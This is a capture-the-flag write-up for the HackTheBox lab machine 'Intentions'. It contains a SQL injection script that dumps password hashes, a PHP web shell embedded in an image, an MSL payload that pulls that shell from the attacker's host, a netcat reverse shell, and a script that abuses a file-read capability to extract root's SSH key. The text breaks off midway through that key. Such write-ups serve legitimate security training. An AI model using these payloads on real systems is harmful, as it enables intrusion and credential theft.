Machine: Intentions
Difficulty: Hard
Platform: HackTheBox
Release: Released on 07/01/2023
About Intentions
Intentions is a hard-level machine from the HackTheBox platform. Initially, we discovered a SQL injection vulnerability that allowed us to obtain hashes of administrator users. We also came across valuable information about a purported version 2 of the API, which enabled us to use these hashes as credentials.
Shell as www-data
In the
admin
section, we encountered a function that applies effects to images provided by users. This technology utilizes PHP Imagick, through which we were able to execute commands by uploading a PHP web shell, exploiting a vulnerability.
Shell as greg
By listing the contents of the directory where the website is hosted, we discovered a
.git
directory, indicating that the entire website is part of a Git repository. Upon inspecting the existing commits, we found one that leaked credentials, granting us access as the user greg
.
Shell as root
Finally, as the 'greg' user, we can execute a binary that will enable us to read system files without regard to our privileges, utilizing a clever exploitation and exploiting a capability. We've developed a Python script to automate a brute force process.
Recon
As always, we'll kick off with a port scan to uncover open ports. Keep in mind that these ports expose various services on the machine. For this task, we'll employ Nmap:
elswix@kali$ sudo nmap -p- --open -sS --min-rate 10000 -v -n -Pn 10.10.11.220 -oN portScan
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Once again, we'll employ Nmap to execute this scan:
elswix@kali$ nmap -sCV -p22,80 10.10.11.220 -oN fullScan
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 47:d2:00:66:27:5e:e6:9c:80:89:03:b5:8f:9e:60:e5 (ECDSA)
|_ 256 c8:d0:ac:8d:29:9b:87:40:5f:1b:b0:a4:1d:53:8f:f1 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Intentions
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Web Application
Before accessing the website through our web browser, we can use
whatweb
to attempt to uncover the technologies, versions, and other details of the website.elswix@kali$ whatweb -a 3 10.10.11.220
http://10.10.11.220 [200 OK] Cookies[XSRF-TOKEN,intentions_session], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], HttpOnly[intentions_session], IP[10.10.11.220], Script, Title[Intentions], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[1; mode=block], nginx[1.18.0]
Accessing the website through our browser, we observe the following:

It seems to be an authentication panel; however, we don't have valid credentials.
Some common attacks that we can attempt here include SQL injection. Let's try some typical queries:

If we attempt to enter this information, we'll find that only a valid email address format is accepted.
Now, let's proceed to create a new user in the registration section:

At this point, we need to log in by providing the credentials we specified during the registration of our new user:

When valid credentials are supplied, the system will redirect us to the following page:

I recommend using the Dark Reader extension for Firefox (I believe it also works with other browsers). It converts websites into dark mode, which is easier on your eyes.
This website seems to function as a gallery where you can explore various genres of photos. Accessing the Gallery section, we find a wide array of themes. There are four distinct genres: Animals, Nature, Architecture, and Food.
In the
Your Profile
section, you can modify certain personal information associated with your user account, such as your nickname, email, and your Favorite Genres
:
The values you set for
Favorite Genres
will determine the genres of images displayed in the Your Feed
section.All the requests we make are directed to an API. I observed this in the HTTP History of my Burp Suite:

This is an important aspect to bear in mind.
We have established that modifying the
Favorite Genres
information leads to corresponding changes in the Your Feed
section. It's possible that this interaction involves a database operation behind the scenes.At this juncture, I'll proceed to make all requests using Burp Suite. This allows me to receive more detailed responses and exercise greater control over my requests.
With the default information in the
Favorite Genres
section, I observe the following outcome when I initiate a request to the Your Feed
section:
SQL Injection
What occurs if I add a single quote when altering the
Favorite Genres
information:
After updating this information, let's proceed to make a GET request to the
Your Feed
section:
It returns an error, indicating that we might be triggering a SQL injection. While experimenting with the most common queries, I observed that spaces in the
Favorite Genres
information are being stripped:

Eliminating white spaces can indeed pose a challenge for carrying out a successful SQL injection. However, there are several techniques available to circumvent the removal of white spaces.
One such technique is the
space2comment
method, which involves replacing white spaces with SQL comments. Allow me to illustrate this with an example. Suppose you wish to input the following SQL query: ' or 1=1--
space2comment
technique, the query would appear as follows:'/**/or/**/1=1--

Now, if I send a GET request to the
Your Feed
section:
It's still not functioning as expected. Let's attempt some modifications to the query:

"I've appended a
)
after the single quote and a #
to comment out the remainder of the query.Now, if I issue a request to the
Your Feed
section:
It retrieves all the photos from various genres, confirming that we have successfully exploited a SQL injection.
I'm going to create a Python script to automate this process
#!/usr/bin/python3
import requests, sys, pdb, json
# Global
loginUrl = "http://10.10.11.220/api/v1/auth/login"
injectUrl = "http://10.10.11.220/api/v1/gallery/user/genres"
readUrl = "http://10.10.11.220/api/v1/gallery/user/feed"
def makeReq(query):
query = query.replace(" ", "/**/")
login_data = {
"email":"elswix@elswix.com",
"password":"elswix123"
}
injection_data = {
"genres":f"'){query}#"
}
# Login
session = requests.session()
resp = session.post(loginUrl, data=login_data)
# Injection
resp = session.post(injectUrl, data=injection_data)
resp = session.get(readUrl)
if resp.status_code == 500:
print("\n[!] 500 INTERNAL SERVER ERROR\n")
return
output = json.loads(resp.text)
output = json.dumps(output, indent=4)
print(output)
def main():
while True:
query = input("SQLI > ")
makeReq(query)
if __name__ == '__main__':
try:
main()
except KeyboardInterrupt:
print("\n\n[!] Quitting...\n")
sys.exit(1)
elswix@kali$ python3 exploit.py
SQLI > or 1=1
{
"status": "success",
"data": [
{
"id": 1,
"file": "public/animals/ashlee-w-wv36v9TGNBw-unsplash.jpg",
"genre": "animals",
"created_at": "2023-02-02T17:41:52.000000Z",
"updated_at": "2023-02-02T17:41:52.000000Z",
"url": "/storage/animals/ashlee-w-wv36v9TGNBw-unsplash.jpg"
},
{
"id": 2,
"file": "public/animals/dickens-lin-Nr7QqJIP8Do-unsplash.jpg",
"genre": "animals",
"created_at": "2023-02-02T17:41:52.000000Z",
"updated_at": "2023-02-02T17:41:52.000000Z",
"url": "/storage/animals/dickens-lin-Nr7QqJIP8Do-unsplash.jpg"
},
{
"id": 3,
"file": "public/animals/dickens-lin-tycqN7-MY1s-unsplash.jpg",
"genre": "animals",
"created_at": "2023-02-02T17:41:52.000000Z",
"updated_at": "2023-02-02T17:41:52.000000Z",
"url": "/storage/animals/dickens-lin-tycqN7-MY1s-unsplash.jpg"
},
..........
..........
..........
{
"id": 18,
"file": "public/nature/marek-piwnicki-VOv4uaMf9E4-unsplash.jpg",
"genre": "nature",
"created_at": "2023-02-02T17:41:52.000000Z",
"updated_at": "2023-02-02T17:41:52.000000Z",
"url": "/storage/nature/marek-piwnicki-VOv4uaMf9E4-unsplash.jpg"
},
{
"id": 19,
"file": "public/nature/rafael-garcin-GsQ0iSb88HY-unsplash.jpg",
"genre": "nature",
"created_at": "2023-02-02T17:41:52.000000Z",
"updated_at": "2023-02-02T17:41:52.000000Z",
"url": "/storage/nature/rafael-garcin-GsQ0iSb88HY-unsplash.jpg"
}
]
}
SQLI >
SQLI > UNION ALL SELECT NULL,NULL,NULL,NULL,NULL
{
"status": "success",
"data": [
{
"id": null,
"file": null,
"genre": null,
"created_at": null,
"updated_at": null,
"url": "/storage/"
}
]
}
SQLI >
SQLI > UNION ALL SELECT NULL,schema_name,NULL,NULL,NULL from information_schema.schemata
{
"status": "success",
"data": [
{
"id": null,
"file": "information_schema",
"genre": null,
"created_at": null,
"updated_at": null,
"url": "/storage/information_schema"
},
{
"id": null,
"file": "intentions",
"genre": null,
"created_at": null,
"updated_at": null,
"url": "/storage/intentions"
}
]
}
SQLI >
information_schema
, and the other is intentions
. We will proceed with the enumeration of the intentions
database.Next, we'll list the tables within the
intentions
database.SQLI > UNION ALL SELECT NULL,table_name,NULL,NULL,NULL from information_schema.tables where table_schema="intentions"
{
"status": "success",
"data": [
{
"id": null,
"file": "gallery_images",
"genre": null,
"created_at": null,
"updated_at": null,
"url": "/storage/gallery_images"
},
{
"id": null,
"file": "personal_access_tokens",
"genre": null,
"created_at": null,
"updated_at": null,
"url": "/storage/personal_access_tokens"
},
{
"id": null,
"file": "migrations",
"genre": null,
"created_at": null,
"updated_at": null,
"url": "/storage/migrations"
},
{
"id": null,
"file": "users",
"genre": null,
"created_at": null,
"updated_at": null,
"url": "/storage/users"
}
]
}
SQLI >
users
. Next, we will proceed to enumerate the columns within the users
table:SQLI > UNION ALL SELECT NULL,column_name,NULL,NULL,NULL from information_schema.columns where table_schema="intentions" and table_name="users"
{
"status": "success",
"data": [
{
"id": null,
"file": "id",
"genre": null,
"created_at": null,
"updated_at": null,
"url": "/storage/id"
},
{
"id": null,
"file": "name",
"genre": null,
"created_at": null,
"updated_at": null,
"url": "/storage/name"
},
{
"id": null,
"file": "email",
"genre": null,
"created_at": null,
"updated_at": null,
"url": "/storage/email"
},
{
"id": null,
"file": "password",
"genre": null,
"created_at": null,
"updated_at": null,
"url": "/storage/password"
},
{
"id": null,
"file": "created_at",
"genre": null,
"created_at": null,
"updated_at": null,
"url": "/storage/created_at"
},
{
"id": null,
"file": "updated_at",
"genre": null,
"created_at": null,
"updated_at": null,
"url": "/storage/updated_at"
},
{
"id": null,
"file": "admin",
"genre": null,
"created_at": null,
"updated_at": null,
"url": "/storage/admin"
},
{
"id": null,
"file": "genres",
"genre": null,
"created_at": null,
"updated_at": null,
"url": "/storage/genres"
}
]
}
SQLI >
email
and password
since having access to this information could potentially allow me to log in as another user.I've also noted the presence of a column called
Admin
, which seems to be associated with a boolean value determining whether users have elevated privileges or not. I will proceed to investigate the values stored in the Admin
column.:SQLI > UNION ALL SELECT NULL,admin,NULL,NULL,NULL from users
{
"status": "success",
"data": [
{
"id": null,
"file": "1",
"genre": null,
"created_at": null,
"updated_at": null,
"url": "/storage/1"
},
{
"id": null,
"file": "1",
"genre": null,
"created_at": null,
"updated_at": null,
"url": "/storage/1"
},
{
"id": null,
"file": "0",
"genre": null,
"created_at": null,
"updated_at": null,
"url": "/storage/0"
},
{
"id": null,
"file": "0",
"genre": null,
"created_at": null,
"updated_at": null,
"url": "/storage/0"
},
{
"id": null,
"file": "0",
"genre": null,
"created_at": null,
"updated_at": null,
"url": "/storage/0"
},
{
"id": null,
"file": "0",
"genre": null,
"created_at": null,
"updated_at": null,
"url": "/storage/0"
},
{
"id": null,
"file": "0",
"genre": null,
"created_at": null,
"updated_at": null,
"url": "/storage/0"
},
{
"id": null,
"file": "0",
"genre": null,
"created_at": null,
"updated_at": null,
"url": "/storage/0"
},
{
"id": null,
"file": "0",
"genre": null,
"created_at": null,
"updated_at": null,
"url": "/storage/0"
},
{
"id": null,
"file": "0",
"genre": null,
"created_at": null,
"updated_at": null,
"url": "/storage/0"
},
{
"id": null,
"file": "0",
"genre": null,
"created_at": null,
"updated_at": null,
"url": "/storage/0"
},
{
"id": null,
"file": "0",
"genre": null,
"created_at": null,
"updated_at": null,
"url": "/storage/0"
},
{
"id": null,
"file": "0",
"genre": null,
"created_at": null,
"updated_at": null,
"url": "/storage/0"
},
{
"id": null,
"file": "0",
"genre": null,
"created_at": null,
"updated_at": null,
"url": "/storage/0"
},
{
"id": null,
"file": "0",
"genre": null,
"created_at": null,
"updated_at": null,
"url": "/storage/0"
},
{
"id": null,
"file": "0",
"genre": null,
"created_at": null,
"updated_at": null,
"url": "/storage/0"
},
{
"id": null,
"file": "0",
"genre": null,
"created_at": null,
"updated_at": null,
"url": "/storage/0"
},
{
"id": null,
"file": "0",
"genre": null,
"created_at": null,
"updated_at": null,
"url": "/storage/0"
},
{
"id": null,
"file": "0",
"genre": null,
"created_at": null,
"updated_at": null,
"url": "/storage/0"
},
{
"id": null,
"file": "0",
"genre": null,
"created_at": null,
"updated_at": null,
"url": "/storage/0"
},
{
"id": null,
"file": "0",
"genre": null,
"created_at": null,
"updated_at": null,
"url": "/storage/0"
},
{
"id": null,
"file": "0",
"genre": null,
"created_at": null,
"updated_at": null,
"url": "/storage/0"
},
{
"id": null,
"file": "0",
"genre": null,
"created_at": null,
"updated_at": null,
"url": "/storage/0"
},
{
"id": null,
"file": "0",
"genre": null,
"created_at": null,
"updated_at": null,
"url": "/storage/0"
},
{
"id": null,
"file": "0",
"genre": null,
"created_at": null,
"updated_at": null,
"url": "/storage/0"
},
{
"id": null,
"file": "0",
"genre": null,
"created_at": null,
"updated_at": null,
"url": "/storage/0"
},
{
"id": null,
"file": "0",
"genre": null,
"created_at": null,
"updated_at": null,
"url": "/storage/0"
},
{
"id": null,
"file": "0",
"genre": null,
"created_at": null,
"updated_at": null,
"url": "/storage/0"
}
]
}
SQLI >
Admin
column contains two integer values: 1 and 0. Accounts with the Admin
property set to 1 are considered high-privilege accounts. Therefore, I will proceed to extract the email
and password
information from these Admin
users.SQLI > UNION ALL SELECT NULL,email,password,NULL,NULL from users where admin=1
{
"status": "success",
"data": [
{
"id": null,
"file": "steve@intentions.htb",
"genre": "$2y$10$M/g27T1kJcOpYOfPqQlI3.YfdLIwr3EWbzWOLfpoTtjpeMqpp4twa",
"created_at": null,
"updated_at": null,
"url": "/storage/steve@intentions.htb"
},
{
"id": null,
"file": "greg@intentions.htb",
"genre": "$2y$10$95OR7nHSkYuFUUxsT1KS6uoQ93aufmrpknz4jwRqzIbsUpRiiyU5m",
"created_at": null,
"updated_at": null,
"url": "/storage/greg@intentions.htb"
}
]
}
SQLI >
JohnTheRipper
or Hashcat
. However, it's worth noting that the passwords don't appear to be present in the rockyou.txt
wordlist.Nonetheless, I've saved the hashes in a file for future reference.
API v2
Our next step involves launching a fuzzing attack to uncover new directories and files on the website. For this purpose, I'll be utilizing the ffuf tool to execute the attack.
elswix@kali$ ffuf -c --fc=404 -t 100 -w /opt/seclists/Discovery/Web-Content/raft-small-directories.txt -u http://10.10.11.220/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.11.220/FUZZ
:: Wordlist : FUZZ: /opt/seclists/Discovery/Web-Content/raft-small-directories.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 100
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response status: 404
________________________________________________
[Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 145ms]
* FUZZ: js
[Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 146ms]
* FUZZ: css
[Status: 302, Size: 322, Words: 60, Lines: 12, Duration: 437ms]
* FUZZ: admin
[Status: 302, Size: 322, Words: 60, Lines: 12, Duration: 563ms]
* FUZZ: logout
[Status: 302, Size: 322, Words: 60, Lines: 12, Duration: 293ms]
* FUZZ: gallery
[Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 152ms]
* FUZZ: fonts
[Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 152ms]
* FUZZ: storage
[Status: 200, Size: 1523, Words: 415, Lines: 40, Duration: 706ms]
* FUZZ:
:: Progress: [20116/20116] :: Job [1/1] :: 103 req/sec :: Duration: [0:02:52] :: Errors: 0 ::
admin
, but it appears inaccessible. To gain access, I'll need to log in as an administrator.Now, I'm going to conduct a fuzzing operation on the
js
directory, as there's a possibility we may come across some intriguing JavaScript scripts.elswix@kali$ ffuf -c --fc=404 -t 100 -w /opt/seclists/Discovery/Web-Content/raft-small-directories.txt -u http://10.10.11.220/js/FUZZ.js
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.11.220/js/FUZZ.js
:: Wordlist : FUZZ: /opt/seclists/Discovery/Web-Content/raft-small-directories.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 100
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response status: 404
________________________________________________
[Status: 200, Size: 279176, Words: 5446, Lines: 2, Duration: 149ms]
* FUZZ: login
[Status: 200, Size: 310841, Words: 6285, Lines: 2, Duration: 284ms]
* FUZZ: gallery
[Status: 200, Size: 433792, Words: 7736, Lines: 2, Duration: 440ms]
* FUZZ: app
[Status: 200, Size: 311246, Words: 6584, Lines: 2, Duration: 155ms]
* FUZZ: admin
[Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 398ms]
* FUZZ:
[Status: 200, Size: 153684, Words: 2246, Lines: 2, Duration: 372ms]
* FUZZ: mdb
:: Progress: [20116/20116] :: Job [1/1] :: 117 req/sec :: Duration: [0:02:38] :: Errors: 0 ::
admin.js
. I will proceed to read its content: elswix@kali$ curl -s http://10.10.11.220/js/admin.js
Hey team, I've deployed the v2 API to production and have started using it in the admin section.
Let me know if you spot any bugs.
This will be a major security upgrade for our users, passwords no longer need to be transmitted to the server in clear text!
By hashing the password client side there is no risk to our users as BCrypt is basically uncrackable.
This should take care of the concerns raised by our users regarding our lack of HTTPS connection.
Now, I'll proceed to intercept the login request:

As evident in the image below, the requests were made to API version 1.

First, I selected one of the admin users and provided their credentials. Subsequently, I attempted to use the hash as the password in the APIv1 login request:

However, it didn't work.

I'm going to attempt the login request on
/api/v2/auth/login
rather than /api/v1/auth/login
:
It returns a distinct error, indicating that we need to specify a
hash
field in the POST request. Let's modify our request:
Now, let's resend the request:

The response has indeed changed, providing us with a success message. Furthermore, it has issued us a session cookie.
Next, I will replace my old session cookie with the new one we've acquired:

Now, we have successfully gained access to the
admin
section:
Here, we can observe some news. Upon closer inspection of the
v2 API Update
news, it becomes evident that they have introduced new functions related to the usage of PHP Imagick.
I've identified it as PHP Imagick because the hyperlink redirects me to its source code.
Moving on to the
Users
section, we can obtain a list of users in the database:
In the
Images
section, we have access to a list of images:
We've observed that there are two paths for the images. One starting with
public
represents the system-level path, while the other is a web-accessible path.Now, let's try to edit these images:

It appears that we have the option to apply effects to these images. Let's experiment with the
CHARCOAL
effect:
When examining the requests made while applying an effect, it becomes evident that these requests are directed to the API.

The data transmitted via the POST method is as follows:

We're specifying the image path and the effect in the POST request. One potential experiment is to attempt to point to a system file such as
/etc/passwd
. 
But it returns an error:

Instead of specifying a system file, I will use a URL to an HTTP server hosted on my machine:

elswix@kali$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.220 - - [14/Oct/2023 09:57:46] "GET / HTTP/1.1" 200 -
Shell as www-data
Every file we specify seems to trigger an effect, and knowing that they're using phpimagick, it's worth exploring potential vulnerabilities associated with this tool.
Following some research online, I came across an article on HackTricks discussing a potential method for achieving Remote Code Execution (RCE) by exploiting PHP Arbitrary Object Instantiations.
We can attempt to abuse this vulnerability by leveraging the
Vid Parser
, which allows us to write arbitrary content to an arbitrary path within the filesystem. This could be used to write a PHP webshell and potentially gain RCE.For a more in-depth exploration of this exploitation, I recommend reading the article on PT Security.
To begin, we need to create an image containing a PHP web shell, as MSL only accepts images.
elswix@kali$ convert xc:red -set 'Copyright' '<?php echo shell_exec($_REQUEST["cmd"]); ?>' positive.png
elswixqkali$
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="http://10.10.16.6/pwned.png" />
<write filename="/var/www/intentions/public/pwned.php" />
</image>
elswix@kali$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

We should receive the following response:

Great, we can now access our web shell at
/pwned.php
.:
Finally, we've successfully achieved Remote Code Execution (RCE):

Now, we're going to initiate a reverse shell, so make sure you have
nc
(netcat) listening:elswix@kali$ nc -lvnp 3001
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:3001
Ncat: Listening on 0.0.0.0:3001
&
character:
Finally, we have successfully gained access to the system:
elswix@kali$ nc -lvnp 3001
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:3001
Ncat: Listening on 0.0.0.0:3001
Ncat: Connection from 10.10.11.220:50784.
bash: cannot set terminal process group (1070): Inappropriate ioctl for device
bash: no job control in this shell
@www-data@intentions:~/html/intentions/public$
www-data@intentions:~/html/intentions/public$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@intentions:~/html/intentions/public$ ^Z
zsh: suspended nc -lvnp 3001
elswix@kali$ stty raw -echo;fg
[1] + continued nc -lvnp 3001
reset
reset: unknown terminal type unknown
Terminal type? xterm
www-data@intentions:~/html/intentions/public$ export TERM=xterm
www-data@intentions:~/html/intentions/public$ export SHELL=/bin/bash
www-data@intentions:~/html/intentions/public$
Shell as greg
While exploring the web directories, I discovered the presence of a
.git
file, indicating that the web application is a Git repository:www-data@intentions:~/html/intentions$ ls -la
total 820
drwxr-xr-x 14 root root 4096 Feb 2 2023 .
drwxr-xr-x 3 root root 4096 Feb 2 2023 ..
-rw-r--r-- 1 root root 1068 Feb 2 2023 .env
drwxr-xr-x 8 root root 4096 Feb 3 2023 .git
-rw-r--r-- 1 root root 3958 Apr 12 2022 README.md
drwxr-xr-x 7 root root 4096 Apr 12 2022 app
-rwxr-xr-x 1 root root 1686 Apr 12 2022 artisan
drwxr-xr-x 3 root root 4096 Apr 12 2022 bootstrap
-rw-r--r-- 1 root root 1815 Jan 29 2023 composer.json
-rw-r--r-- 1 root root 300400 Jan 29 2023 composer.lock
drwxr-xr-x 2 root root 4096 Jan 29 2023 config
drwxr-xr-x 5 root root 4096 Apr 12 2022 database
-rw-r--r-- 1 root root 1629 Jan 29 2023 docker-compose.yml
drwxr-xr-x 534 root root 20480 Jan 30 2023 node_modules
-rw-r--r-- 1 root root 420902 Jan 30 2023 package-lock.json
-rw-r--r-- 1 root root 891 Jan 30 2023 package.json
-rw-r--r-- 1 root root 1139 Jan 29 2023 phpunit.xml
drwxr-xr-x 5 www-data www-data 4096 Oct 14 14:10 public
drwxr-xr-x 7 root root 4096 Jan 29 2023 resources
drwxr-xr-x 2 root root 4096 Jun 19 11:22 routes
-rw-r--r-- 1 root root 569 Apr 12 2022 server.php
drwxr-xr-x 5 www-data www-data 4096 Apr 12 2022 storage
drwxr-xr-x 4 root root 4096 Apr 12 2022 tests
drwxr-xr-x 45 root root 4096 Jan 29 2023 vendor
-rw-r--r-- 1 root root 722 Feb 2 2023 webpack.mix.js
www-data@intentions:~/html/intentions$
elswix@kali$ git log
commit 1f29dfde45c21be67bb2452b46d091888ed049c3 (HEAD -> master)
Author: steve <steve@intentions.htb>
Date: Mon Jan 30 15:29:12 2023 +0100
Fix webpack for production
commit f7c903a54cacc4b8f27e00dbf5b0eae4c16c3bb4
Author: greg <greg@intentions.htb>
Date: Thu Jan 26 09:21:52 2023 +0100
Test cases did not work on steve's local database, switching to user factory per his advice
commit 36b4287cf2fb356d868e71dc1ac90fc8fa99d319
Author: greg <greg@intentions.htb>
Date: Wed Jan 25 20:45:12 2023 +0100
Adding test cases for the API!
commit d7ef022d3bc4e6d02b127fd7dcc29c78047f31bd
Author: steve <steve@intentions.htb>
Date: Fri Jan 20 14:19:32 2023 +0100
Initial v2 commit
elswix@kali$ git show f7c903a54cacc4b8f27e00dbf5b0eae4c16c3bb4
commit f7c903a54cacc4b8f27e00dbf5b0eae4c16c3bb4
Author: greg <greg@intentions.htb>
Date: Thu Jan 26 09:21:52 2023 +0100
Test cases did not work on steve's local database, switching to user factory per his advice
diff --git a/tests/Feature/Helper.php b/tests/Feature/Helper.php
index f57e37b..0586d51 100644
--- a/tests/Feature/Helper.php
+++ b/tests/Feature/Helper.php
@@ -8,12 +8,14 @@ class Helper extends TestCase
{
public static function getToken($test, $admin = false) {
if($admin) {
- $res = $test->postJson('/api/v1/auth/login', ['email' => 'greg@intentions.htb', 'password' => 'Gr3g1sTh3B3stDev3l0per!1998!']);
- return $res->headers->get('Authorization');
+ $user = User::factory()->admin()->create();
}
else {
- $res = $test->postJson('/api/v1/auth/login', ['email' => 'greg_user@intentions.htb', 'password' => 'Gr3g1sTh3B3stDev3l0per!1998!']);
- return $res->headers->get('Authorization');
+ $user = User::factory()->create();
}
+
+ $token = Auth::login($user);
Gr3g1sTh3B3stDev3l0per!1998!
and I'm going to attempt to use it to access the system as the greg
userwww-data@intentions:/tmp$ su greg
Password:
$ whoami
greg
$ bash
greg@intentions:/tmp$
greg
.
Shell as root
Upon examining our group memberships, it becomes apparent that we are a part of the
scanner
group:greg@intentions:/tmp$ id
uid=1001(greg) gid=1001(greg) groups=1001(greg),1003(scanner)
greg@intentions:/tmp$
scanner
group, we have come across the following:greg@intentions:/tmp$ find / -group scanner 2>/dev/null
/opt/scanner
/opt/scanner/scanner
greg@intentions:/tmp$
greg@intentions:/tmp$ /opt/scanner/scanner
The copyright_scanner application provides the capability to evaluate a single file or directory of files against a known blacklist and return matches.
This utility has been developed to help identify copyrighted material that have previously been submitted on the platform.
This tool can also be used to check for duplicate images to avoid having multiple of the same photos in the gallery.
File matching are evaluated by comparing an MD5 hash of the file contents or a portion of the file contents against those submitted in the hash file.
The hash blacklist file should be maintained as a single LABEL:MD5 per line.
Please avoid using extra colons in the label as that is not currently supported.
Expected output:
1. Empty if no matches found
2. A line for every match, example:
[+] {LABEL} matches {FILE}
-c string
Path to image file to check. Cannot be combined with -d
-d string
Path to image directory to check. Cannot be combined with -c
-h string
Path to colon separated hash file. Not compatible with -p
-l int
Maximum bytes of files being checked to hash. Files smaller than this value will be fully hashed. Smaller values are much faster but prone to false positives. (default 500)
-p [Debug] Print calculated file hash. Only compatible with -c
-s string
Specific hash to check against. Not compatible with -h
greg@intentions:/tmp$
/opt/scanner/scanner
has the capability to read files from the system regardless of the user's privileges who runs it.greg@intentions:/tmp$ getcap -r / 2>/dev/null
/usr/bin/mtr-packet cap_net_raw=ep
/usr/bin/ping cap_net_raw=ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep
/opt/scanner/scanner cap_dac_read_search=ep
greg@intentions:/tmp$
scanner
binary. Firstly, it has the ability to read files irrespective of the user's access privileges. Additionally, by specifying boundaries, we can read characters from specific files in MD5 format.For instance, let's consider the file
/etc/passwd
. The first character of this file is r
(for root
). If we attempt to list the first character of the /etc/passwd
file in MD5 format using scanner
, it would look something like this:greg@intentions:/tmp$ /opt/scanner/scanner -l 1 -s elswix -c /etc/passwd -p
[DEBUG] /etc/passwd has hash 4b43b0aee35624cd95b910189b3dc231
greg@intentions:/tmp$
/etc/passwd
file into MD5 format (remember, it should be r
):elswix@kali$ echo -n 'r' | md5sum
4b43b0aee35624cd95b910189b3dc231 -
Let's provide a brief explanation of what we did when running the binary:
-
-l 1
: We specified the maximum number of characters to be hashed in MD5 format from the file we designate. In our case, we instructed it to hash just one character.
-
-s elswix
: This would alert us if the result wereelswix
, although it will never occur.
-
-p
: It displays what's happening in the background, allowing us to see on the screen the hash it obtained after hashing the characters.
-
-c /etc/passwd
: We specified that we want to read the/etc/passwd
file.
/etc/passwd
file, it would return the following:"greg@intentions:/tmp$ /opt/scanner/scanner -l 4 -s elswix -c /etc/passwd -p
[DEBUG] /etc/passwd has hash 63a9f0ea7bb98050796b649e85481845
greg@intentions:/tmp$
root
string in MD5 format. We can verify it using md5sum
:elswix@kali$ echo -n "root" | md5sum
63a9f0ea7bb98050796b649e85481845 -
/root/.ssh/id_rsa
. Successfully reading this file would grant us access to the system as the root
user.To avoid having to check each character manually and sum them, I will create a Python script:
#!/usr/bin/python3
import hashlib, pdb, sys, subprocess
def checkhash(hashChr, content):
#characters = "abcdef0123456789"
for i in range(1, 128):
char = chr(i)
if hashlib.md5((content + char).encode()).hexdigest() == hashChr:
return char
def main():
content = ""
i = 1
fileToRead = sys.argv[1]
while True:
hashChr = subprocess.check_output(f"/opt/scanner/scanner -l {i} -s elswix -c {fileToRead} -p", shell=True)
arr = hashChr.split()
hashChr = arr[-1].decode()
ret = checkhash(hashChr, content)
if ret is None:
break
content += ret
i += 1
f = open("output.txt", "w")
f.write(content)
f.close()
if __name__ == '__main__':
if len(sys.argv) < 2:
print("\n\n[!] Usage: python3 %s <file>\n" % sys.argv[0])
sys.exit(1)
try:
main()
except KeyboardInterrupt:
print("\n\n[!] Quitting...\n")
sys.exit(1)
greg@intentions:~$ python3 exploit.py /root/root.txt
0f5c7d8a90bfcf13a0327946f240fe34
[+] File saved to output.txt
greg@intentions:~$
output.txt
.Previously, we read the file
/root/root.txt
, Now, we will attempt to gain access to the system using the root user's SSH private key:greg@intentions:~$ python3 exploit.py /root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEA5yMuiPaWPr6P0GYiUi5EnqD8QOM9B7gm2lTHwlA7FMw95/wy8JW3
HqEMYrWSNpX2HqbvxnhOBCW/uwKMbFb4LPI+EzR6eHr5vG438EoeGmLFBvhge54WkTvQyd
vk6xqxjypi3PivKnI2Gm+BWzcMi6kHI+NLDUVn7aNthBIg9OyIVwp7LXl3cgUrWM4StvYZ
ZyGpITFR/1KjaCQjLDnshZO7OrM/PLWdyipq2yZtNoB57kvzbPRpXu7ANbM8wV3cyk/OZt
0LZdhfMuJsJsFLhZufADwPVRK1B0oMjcnljhUuVvYJtm8Ig/8fC9ZEcycF69E+nBAiDuUm
kDAhdj0ilD63EbLof4rQmBuYUQPy/KMUwGujCUBQKw3bXdOMs/jq6n8bK7ERcHIEx6uTdw
gE6WlJQhgAp6hT7CiINq34Z2CFd9t2x1o24+JOAQj9JCubRa1fOMFs8OqEBiGQHmOIjmUj
